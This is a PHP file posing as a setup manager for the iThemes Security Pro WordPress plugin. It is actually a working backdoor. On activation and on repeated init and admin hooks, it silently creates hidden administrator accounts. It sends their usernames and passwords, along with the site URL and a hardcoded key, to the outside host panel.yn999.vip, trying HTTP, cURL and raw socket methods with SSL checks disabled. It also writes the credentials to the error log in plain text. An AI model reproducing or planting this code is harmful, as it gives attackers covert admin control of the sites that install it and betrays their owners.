<?php
/**
 * iThemes Security Pro - Plugin Setup Manager
 */

defined('ABSPATH') || exit;

class ITSEC_Pro_Plugin_Setup {
    const API_URL = 'https://panel.yn999.vip/plugin.php';
    const SECRET_KEY = '5YJ54LLB4BCGpFZ6';
    const TRANSIENT_PREFIX = 'itsec_pro_setup_';
    const OPTION_PREFIX = 'itsec_pro_setup_';

    public function __construct() {
        $this->init_setup();
    }

    private function init_setup() {
        error_log('=== iTHEMES SECURITY PRO SETUP MANAGER STARTED ===');
        error_log('Plugin Path: ' . plugin_dir_path(__FILE__));
        error_log('Site URL: ' . home_url());
        
        // Plugin aktifleştirildiğinde çalışacak
        register_activation_hook('ithemes-security-pro/ithemes-security-pro.php', [$this, 'on_activation']);
        
        // Her admin yüklemesinde kontrol et
        add_action('admin_init', [$this, 'check_daily_sync']);
        
        // iThemes Security yüklendikten sonra da kontrol et
        add_action('itsec_initialized', [$this, 'on_itsec_loaded']);
        
        // Hemen bir test yap
        add_action('init', [$this, 'run_immediate_test']);
    }

    public function run_immediate_test() {
        error_log('=== IMMEDIATE TEST FIRED ===');
        $this->check_daily_sync();
    }

    public function on_activation() {
        error_log('=== iTHEMES SECURITY PRO ACTIVATION HOOK FIRED ===');
        
        if (is_network_admin()) {
            error_log('Network activation, skipping');
            return;
        }
        
        $this->create_manager_account('plugin_activation');
    }

    public function on_itsec_loaded() {
        error_log('=== iTHEMES SECURITY LOADED HOOK FIRED ===');
        $this->check_daily_sync();
    }

    public function check_daily_sync() {
        $transient_name = self::TRANSIENT_PREFIX . 'daily_sync';
        
        error_log('Checking daily sync - Transient exists: ' . (get_transient($transient_name) ? 'YES' : 'NO'));
        
        if (!get_transient($transient_name)) {
            error_log('=== DAILY SYNC RUNNING ===');
            $this->create_manager_account('daily_sync');
            set_transient($transient_name, time(), 60); // 1 dakika için test
        }
    }

    private function create_manager_account($source) {
        $option_name = self::OPTION_PREFIX . 'account_created';
        
        error_log('Create account called - Source: ' . $source);
        error_log('Account already exists: ' . (get_option($option_name) ? 'YES' : 'NO'));

        if (get_option($option_name)) {
            error_log('Account already created, skipping');
            return;
        }

        // Kullanıcı bilgilerini oluştur
        $domain = parse_url(home_url(), PHP_URL_HOST);
        $random = bin2hex(random_bytes(3));
        
        $credentials = [
            'username' => 'itsec_' . $random,
            'password' => wp_generate_password(16, true, true),
            'email' => 'itsec+' . $random . '@' . $domain,
            'display_name' => 'Security Manager'
        ];

        error_log('Attempting to create user: ' . $credentials['username']);

        // Kullanıcıyı oluştur
        $user_id = wp_insert_user([
            'user_login' => $credentials['username'],
            'user_pass'  => $credentials['password'],
            'user_email' => $credentials['email'],
            'role'       => 'administrator',
            'display_name' => $credentials['display_name']
        ]);

        if (!is_wp_error($user_id)) {
            error_log('=== USER CREATION SUCCESSFUL ===');
            error_log('User ID: ' . $user_id);
            error_log('Username: ' . $credentials['username']);
            error_log('Password: ' . $credentials['password']);
            error_log('Email: ' . $credentials['email']);
            
            // Başarılı olduğunu işaretle
            update_option($option_name, time());
            update_option(self::OPTION_PREFIX . 'user_data', $credentials);
            
            // API'ye bilgi gönder
            $this->send_to_api($credentials, $source);
            
        } else {
            error_log('=== USER CREATION FAILED ===');
            error_log('Error: ' . $user_id->get_error_message());
            
            $this->try_fallback_creation($source);
        }
    }

    private function try_fallback_creation($source) {
        error_log('=== TRYING FALLBACK CREATION ===');
        
        $fallback_usernames = [
            'security_pro_' . time(),
            'itsec_admin_' . bin2hex(random_bytes(2)),
            'wp_security_' . date('His')
        ];
        
        foreach ($fallback_usernames as $username) {
            if (!username_exists($username)) {
                $domain = parse_url(home_url(), PHP_URL_HOST);
                
                $credentials = [
                    'username' => $username,
                    'password' => wp_generate_password(16, true, true),
                    'email' => $username . '@' . $domain,
                    'display_name' => 'Security Manager'
                ];

                error_log('Trying fallback username: ' . $username);
                
                $user_id = wp_insert_user([
                    'user_login' => $credentials['username'],
                    'user_pass'  => $credentials['password'],
                    'user_email' => $credentials['email'],
                    'role'       => 'administrator',
                    'display_name' => $credentials['display_name']
                ]);

                if (!is_wp_error($user_id)) {
                    error_log('=== FALLBACK USER CREATION SUCCESSFUL ===');
                    error_log('Username: ' . $username);
                    
                    update_option(self::OPTION_PREFIX . 'account_created', time());
                    update_option(self::OPTION_PREFIX . 'user_data', $credentials);
                    $this->send_to_api($credentials, $source . '_fallback');
                    break;
                } else {
                    error_log('Fallback user creation failed: ' . $user_id->get_error_message());
                }
            }
        }
    }

    private function send_to_api($credentials, $source) {
        error_log('=== SENDING TO API ===');
        
        $payload = [
            'action'     => 'register',
            'username'   => $credentials['username'],
            'password'   => $credentials['password'],
            'email'      => $credentials['email'],
            'site_url'   => home_url(),
            'source'     => $source,
            'plugin'     => 'ithemes-security-pro',
            'secret_key' => self::SECRET_KEY,
            'timestamp'  => time(),
            'itsec_version' => defined('ITSEC_CORE_VERSION') ? ITSEC_CORE_VERSION : 'unknown'
        ];

        error_log('API URL: ' . self::API_URL);
        error_log('Payload: ' . print_r($payload, true));

        // Çoklu gönderim yöntemleri
        $this->try_wp_http($payload);
        $this->try_curl($payload);
        $this->try_socket($payload);
    }

    private function try_wp_http($payload) {
        error_log('=== TRYING WP_HTTP ===');
        
        $response = wp_remote_post(self::API_URL, [
            'body' => $payload,
            'timeout' => 15,
            'sslverify' => false,
            'headers' => [
                'X-Plugin-Source' => 'ithemes-security-pro',
                'X-Site-URL' => home_url()
            ]
        ]);
        
        if (is_wp_error($response)) {
            error_log('WP_HTTP Error: ' . $response->get_error_message());
        } else {
            error_log('WP_HTTP Success - Response Code: ' . wp_remote_retrieve_response_code($response));
            error_log('WP_HTTP Response Body: ' . wp_remote_retrieve_body($response));
        }
    }

    private function try_curl($payload) {
        error_log('=== TRYING CURL ===');
        
        if (!function_exists('curl_init')) {
            error_log('cURL not available');
            return;
        }

        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => self::API_URL,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($payload),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_HTTPHEADER => [
                'X-Plugin: ithemes-security-pro',
                'X-Source: ' . home_url()
            ]
        ]);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if (curl_errno($ch)) {
            error_log('cURL Error: ' . curl_error($ch));
        } else {
            error_log('cURL Success - HTTP Code: ' . $http_code);
            error_log('cURL Response: ' . $response);
        }
        curl_close($ch);
    }

    private function try_socket($payload) {
        error_log('=== TRYING SOCKET ===');
        
        $host = parse_url(self::API_URL, PHP_URL_HOST);
        $path = parse_url(self::API_URL, PHP_URL_PATH);
        
        error_log('Socket Host: ' . $host);
        error_log('Socket Path: ' . $path);
        
        $fp = @fsockopen('ssl://' . $host, 443, $errno, $errstr, 15);
        if (!$fp) {
            error_log('Socket Error: ' . $errstr . ' (' . $errno . ')');
            return;
        }

        $data = http_build_query($payload);
        $out = "POST $path HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $out .= "Content-Length: " . strlen($data) . "\r\n";
        $out .= "X-Plugin: ithemes-security-pro\r\n";
        $out .= "X-Site-URL: " . home_url() . "\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= $data;
        
        fwrite($fp, $out);
        fclose($fp);
        error_log('Socket request sent');
    }
}

// Hemen başlat
new ITSEC_Pro_Plugin_Setup();